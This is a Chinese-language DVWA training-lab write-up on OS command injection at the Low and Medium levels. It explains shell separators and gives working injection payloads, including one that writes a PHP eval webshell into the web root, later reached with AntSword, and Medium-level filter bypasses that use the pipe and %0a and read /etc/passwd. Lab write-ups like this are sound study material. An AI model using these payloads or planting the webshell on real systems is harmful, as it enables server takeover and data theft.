DVWA_Vulnerability: Command Injection

Low

命令执行漏洞

什么是命令执行漏洞?

命令执行漏洞是指,攻击者能够通过应用程序,在运行该应用程序的服务器上直接执行任意的操作系统命令

简单来说,就是攻击者把你的服务器当成了他自己的终端,可以输入任何他想要的命令,比如查看文件、创建用户、下载病毒、删除数据等等

输入本地回环地址进行测试,即 127.0.0.1(注:127.0.0.1 - 这是最标准、最常用的环回地址)

可以看到这里执行了 ping 127.0.0.1 的命令

我们在终端执行 ping 命令是一样的捏

这类漏洞通常出现在Web应用程序中,当用户输入被直接传递给操作系统命令执行函数(如exec()system()popen()等)时,如果程序没有对输入进行严格的过滤和验证,攻击者就有可能通过注入特殊字符来执行任意命令。

这些特殊字符,即命令执行分隔符,在不同操作系统中有所不同:

  • 在Windows系统中,常见的分隔符包括:&|&&||

  • 在Linux系统中,除了上述字符,分号;也常被用作命令分隔符

首先我们来测试与(&/&&)

在 ping 127.0.0.1 的后面我们使用管道符与拼接继续执行命令 whoami

复制代码
127.0.0.1&whoami

可以看到除了执行 ping 命令,whoami 也被执行了,回显如下图:

再试试ipconfig

emmmm,雀食存在命令执行漏洞

试试不同的

复制代码
127.0.0.1&&ipconfig

我们再来ping个假的

复制代码
shuaige&&ipconfig

结果可以得出:当第一个命令执行失败(为假)

那么第二个命令(ipconfig)也不会被执行,这就是两个与的效果(&&)

我们再测试一个与

复制代码
shuaige&ipconfig

可以看到,虽然第一个命令执行失败,但是第二个命令还是被执行了,这就是一个与的效果(&)

前面的语句为假则直接执行后面的,前面可真可假,后面命令都会执行

接下来我们测试或(||、|)

复制代码
127.0.0.1|ipconfig

shuaige|ipconfig

可以看到

对于一个或, 无论第一个命令执行为真还是假,都是直接执行第二个命令

下面执行两个或(||)

复制代码
127.0.0.1||ipconfig

shuaige||ipconfig

可以看到对于两个或:

前面为真,只执行前面的,后面命令没有执行

若前面为假, 执行后面的,第二个命令被执行

最后我们尝试写入木马后门

首先使用 dir 命令查看当前目录下的文件

这里我们使用一个或,无论前面为真还是假,都直接执行后面的命令

复制代码
|dir

可以看到当前目录的位置路径,并且存在一个 index.php 即首页文件

我们尝试写入一个名为 shell.php 的一句话木马文件

这里在本地 cmd 测试是可行的,但是在靶场测试使用一个或却无法写入

因此我们换用与(&)即可

注意:在Windows系统下,尖括号 > 被用于输出重定向,因此如果直接在命令行中写入包含 > 的 PHP 代码,会被认为是输出重定向符号,从而导致语法错误。

我们需要使用 ^ 符号进行转义

复制代码
127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > D:\phpstudy_pro\WWW\DVWA\vulnerabilities\exec\shell.php

webshell 后门写入成功

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可

查看木马内容

调用shell.php

system 函数执行成功,回显存在一定乱码,但是可以看到文件名

我们使用蚁剑进行连接

测试连接成功

添加后进入

直接拿下整个网站后台

看一下简单模式的源代码

Medium

一、漏洞原理分析

Medium难度下,DVWA对命令注入漏洞进行了基础防护,通过黑名单过滤了部分敏感字符和命令连接符。经测试发现,常见的&&、;、&等连接符已被过滤,但仍存在可利用的绕过方式。核心漏洞依然是服务器未对用户输入进行严格的参数化处理,直接将输入拼接到系统命令中执行。

二、信息收集与测试

  1. 功能测试:在输入框中输入127.0.0.1,页面返回正常的ping命令执行结果,说明基本功能正常,输入被传递给后端系统命令。
  2. 初步注入测试:尝试输入127.0.0.1 && ipconfig(Windows系统)或127.0.0.1 && ifconfig(Linux系统),页面无返回或提示错误,推测&&被过滤。
  3. 连接符绕过测试
    • 尝试127.0.0.1 & ipconfig:无结果,&可能被过滤。
    • 尝试127.0.0.1 ; ipconfig:无结果,;可能被过滤。
    • 尝试127.0.0.1 || ipconfig:当第一个命令执行失败时才执行第二个命令,此处127.0.0.1ping成功,故无结果。
    • 尝试127.0.0.1 | ipconfig(管道符):页面返回了ipconfig的结果!说明|未被过滤,可用于连接命令。

三、漏洞利用步骤

  1. 基本命令执行:使用管道符|连接命令,输入127.0.0.1 | whoami,页面返回当前用户身份(如nt authority\system或www-data)。
  2. 多命令执行:由于|只能连接单个后续命令,若需执行多条命令,可将命令用&&的URL编码%26%26或其他未过滤字符分隔(需进一步测试)。例如,输入127.0.0.1 | dir %26%26 whoami(Windows),若%26%26未被过滤,可依次执行dir和whoami。
  3. 文件操作:输入127.0.0.1 | echo "test" > C:\test.txt(Windows)或127.0.0.1 | echo "test" > /tmp/test.txt(Linux),可在目标服务器写入文件。
  4. 权限提升探测:输入127.0.0.1 | net user(Windows)或127.0.0.1 | cat /etc/passwd(Linux),查看用户信息,为后续权限提升做准备。

四、防御绕过总结

Medium难度主要过滤了&&、;、&等连接符,但未过滤管道符|,可直接使用|连接命令执行。此外,还可尝试以下绕过方式:

  • 命令分隔符替换:如用%0a(换行符)、%0d(回车符)等特殊字符分隔命令,输入127.0.0.1%0awhoami。
  • 黑名单绕过:若部分命令被过滤(如cat),可用more、less、tail等替代,输入127.0.0.1 | more /etc/passwd。
相关推荐
用户9623779544811 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机14 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机14 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544816 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star16 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544819 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
一个人旅程~6 天前
如何用命令行把win10/win11设置为长期暂停更新?
linux·windows·经验分享·电脑